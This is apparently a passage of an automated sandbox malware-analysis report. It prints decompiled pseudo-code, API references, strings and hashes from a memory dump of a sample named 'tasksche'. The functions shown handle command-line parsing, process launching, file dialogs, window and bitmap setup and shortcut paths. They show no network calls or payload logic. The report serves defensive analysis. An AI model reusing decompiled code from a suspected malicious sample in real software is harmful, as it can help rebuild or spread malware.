									_t76 = _v16 + 0x3e8;
									if(_t76 >  *0x441860) {
										 *0x441860 = _t76;
									}
								}
							}
							_t66 = CloseHandle(_v76.hProcess);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, L".exe");
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 = ShowWindow(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v76.lpParameters =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							}
							while(1) {
								_t61 = _t61 + 1;
								if(_t97[_t61] == 0) {
									break;
								}
								if(_t97[_t61] == 0x22) {
									_t92 = 0x20;
									_t97[_t61] = _t92;
									goto L13;
								}
							}
							goto L13;
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4f7
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x00000000
0x00000000
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4
ShellExecuteExW.SHELL32(?), ref: 0040E59A
IsWindowVisible.USER32 ref: 0040E5D3
ShowWindow.USER32(?,00000000), ref: 0040E5E1
WaitForInputIdle.USER32 ref: 0040E5EF
GetExitCodeProcess.KERNEL32 ref: 0040E60C
CloseHandle.KERNEL32(?), ref: 0040E62B
ShowWindow.USER32(?,00000001), ref: 0040E684

Strings

.exe, xrefs: 0040E636
.inf, xrefs: 0040E557
z(D, xrefs: 0040E53A

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf$z(D
API String ID: 3215649069-3601587883
Opcode ID: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00419A9D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00419A9D(void* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, struct HWND__* _a12, intOrPtr _a16, int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t41;
				long _t42;
				struct HWND__* _t46;
				void* _t52;
				struct HWND__* _t61;
				void* _t69;
				WCHAR* _t71;

				_t61 = _a8;
				_t69 = __ecx;
				 *(__ecx + 8) = _t61;
				 *((char*)(__ecx + 0x25)) = _a20;
				ShowWindow(_t61, 0);
				E00419A36(_t69, _a4);
				 *(_t69 + 0x14) = _a12;
				 *((intOrPtr*)(_t69 + 0x18)) = _a16;
				GetWindowRect(_t61,  &_v20);
				_t52 = GetParent;
				MapWindowPoints(0, GetParent(_t61),  &_v20, 2);
				_t41 =  *(_t69 + 4);
				if(_t41 != 0) {
					DestroyWindow(_t41);
				}
				_t42 = _v20.x;
				_a20 = _t42 + 1;
				_t46 = CreateWindowExW(0, L"RarHtmlClassName", 0, 0x40000000, _a20, _v20.y, _v12 - _t42, _v8 - _v20.y, GetParent(_a8), 0,  *_t69, _t69);
				 *(_t69 + 4) = _t46;
				if( *((intOrPtr*)(_t69 + 0x10)) != 0) {
					__eflags = _t46;
					if(_t46 != 0) {
						ShowWindow(_t46, 5);
						_t46 = UpdateWindow( *(_t69 + 4));
					}
					__eflags =  *((intOrPtr*)(_t69 + 0x20)) - 0x64;
					if( *((intOrPtr*)(_t69 + 0x20)) > 0x64) {
						_t46 = E004192D0(_t69);
					}
				} else {
					if(_a8 != 0 &&  *((intOrPtr*)(_t69 + 0x18)) == 0) {
						_t46 =  *(_t69 + 0x14);
						_t79 = _t46;
						if(_t46 != 0) {
							_push(_t46);
							_t46 = E0041947D(_t52, _t69, _t79);
							_t71 = _t46;
							_t80 = _t71;
							if(_t71 != 0) {
								ShowWindow(_a8, 5);
								SetWindowTextW(_a8, _t71);
								_push(_t71);
								_t46 = E0041A506(_t52, 0, _t71, _t80);
							}
						}
					}
				}
				return _t46;
			}

0x00419aa9
0x00419aac
0x00419ab1
0x00419ab4
0x00419ab7
0x00419ac2
0x00419aca
0x00419ad0
0x00419ad8
0x00419ade
0x00419af0
0x00419af6
0x00419afb
0x00419afe
0x00419afe
0x00419b04
0x00419b18
0x00419b3b
0x00419b41
0x00419b47
0x00419b86
0x00419b88
0x00419b8d
0x00419b96
0x00419b96
0x00419b9c
0x00419ba0
0x00419ba4
0x00419ba4
0x00419b49
0x00419b4c
0x00419b53
0x00419b56
0x00419b58
0x00419b5a
0x00419b5d
0x00419b62
0x00419b64
0x00419b66
0x00419b6d
0x00419b77
0x00419b7d
0x00419b7e
0x00419b83
0x00419b66
0x00419b58
0x00419b4c
0x00419bad

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 00419AB7

Part of subcall function 00419A36: LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
Part of subcall function 00419A36: RegisterClassExW.USER32 ref: 00419A8E

GetWindowRect.USER32 ref: 00419AD8
GetParent.USER32(?), ref: 00419AEB
MapWindowPoints.USER32 ref: 00419AF0
DestroyWindow.USER32(?), ref: 00419AFE
GetParent.USER32(?), ref: 00419B1C
CreateWindowExW.USER32 ref: 00419B3B
ShowWindow.USER32(?,00000005,?), ref: 00419B6D
SetWindowTextW.USER32(?,00000000), ref: 00419B77
ShowWindow.USER32(00000000,00000005), ref: 00419B8D
UpdateWindow.USER32(?), ref: 00419B96

Strings

RarHtmlClassName, xrefs: 00419B35

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction ID: a0655035169e6554100d25c4e6de203faa719369231219c5c88fda93c074337e
Opcode Fuzzy Hash: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction Fuzzy Hash: 0331B035600604EFCB319F65EC48EAFBBB9FF44700F10451AF91692260D735AD51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 21.1, APIs: 14, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				intOrPtr _t44;
				signed int _t48;
				signed int _t57;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_v88 = _a4;
				_t44 =  *0x4335a8; // 0x400000
				_v84 = _t44;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 = GetOpenFileNameW();
				} else {
					_t48 = GetSaveFileNameW();
				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 = CommDlgExtendedError();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 = GetOpenFileNameW();
						} else {
							_t48 = GetSaveFileNameW();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f6
0x004051f9
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040523C
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 00405244
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405268

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0B Relevance: 19.6, APIs: 13, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419D0B(void* _a4, signed int _a8, int _a12) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				struct HBITMAP__* _v16;
				void* _v20;
				signed int _v36;
				signed int _v40;
				void _v44;
				struct HDC__* _t36;
				signed int _t43;
				struct HDC__* _t54;

				_t36 = GetDC(0);
				_v12 = _t36;
				_t54 = CreateCompatibleDC(_t36);
				_v8 = CreateCompatibleDC(_v12);
				GetObjectW(_a4, 0x18,  &_v44);
				asm("cdq");
				_t43 = _v36 * _a8 / _v40;
				if(_t43 < _a12) {
					_a12 = _t43;
				}
				_v16 = CreateCompatibleBitmap(_v12, _a8, _a12);
				_a4 = SelectObject(_t54, _a4);
				_v20 = SelectObject(_v8, _v16);
				StretchBlt(_v8, 0, 0, _a8, _a12, _t54, 0, 0, _v40, _v36, 0xcc0020);
				SelectObject(_t54, _a4);
				SelectObject(_v8, _v20);
				DeleteDC(_t54);
				DeleteDC(_v8);
				ReleaseDC(0, _v12);
				return _v16;
			}

0x00419d17
0x00419d24
0x00419d2c
0x00419d30
0x00419d3c
0x00419d49
0x00419d4a
0x00419d50
0x00419d52
0x00419d52
0x00419d6e
0x00419d76
0x00419d86
0x00419d9a
0x00419da4
0x00419dac
0x00419db5
0x00419dba
0x00419dc0
0x00419dcd

APIs

GetDC.USER32(00000000), ref: 00419D17
CreateCompatibleDC.GDI32(00000000), ref: 00419D27
CreateCompatibleDC.GDI32(?), ref: 00419D2E
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
SelectObject.GDI32(00000000,?), ref: 00419D71
SelectObject.GDI32(?,00000200), ref: 00419D7C
StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
SelectObject.GDI32(00000000,?), ref: 00419DA4
SelectObject.GDI32(?,00419EBD), ref: 00419DAC
DeleteDC.GDI32(00000000), ref: 00419DB5
DeleteDC.GDI32(?), ref: 00419DBA
ReleaseDC.USER32 ref: 00419DC0

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
Opcode ID: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction ID: fe64683af8def945f8560e9c967618457674570685148338231d72a037962566
Opcode Fuzzy Hash: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction Fuzzy Hash: C021A076900218FFCF129FA1DC48DDEBFBAFB48350B104466F914A2120C7369A65EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0041E854(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x42d8a0);
				E0041FA9C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00421465(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e854
0x0041e856
0x0041e85b
0x0041e860
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e900
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D8A0,0000000C,0041E98F,00000000,00000000,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0041E866
__crt_waiting_on_module_handle.LIBCMT ref: 0041E871

Part of subcall function 00421465: Sleep.KERNEL32(000003E8,00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 00421471
Part of subcall function 00421465: GetModuleHandleW.KERNEL32(00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0042147A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E89A
GetProcAddress.KERNEL32(0041A9BA,DecodePointer), ref: 0041E8AA
__lock.LIBCMT ref: 0041E8CC
InterlockedIncrement.KERNEL32(?), ref: 0041E8D9
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Strings

DecodePointer, xrefs: 0041E8A2
KERNEL32.DLL, xrefs: 0041E860, 0041E865, 0041E870
EncodePointer, xrefs: 0041E88E

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040F0C2(void* __edi) {
				long __ebx;
				intOrPtr _t263;
				void* _t264;
				void* _t335;
				short* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
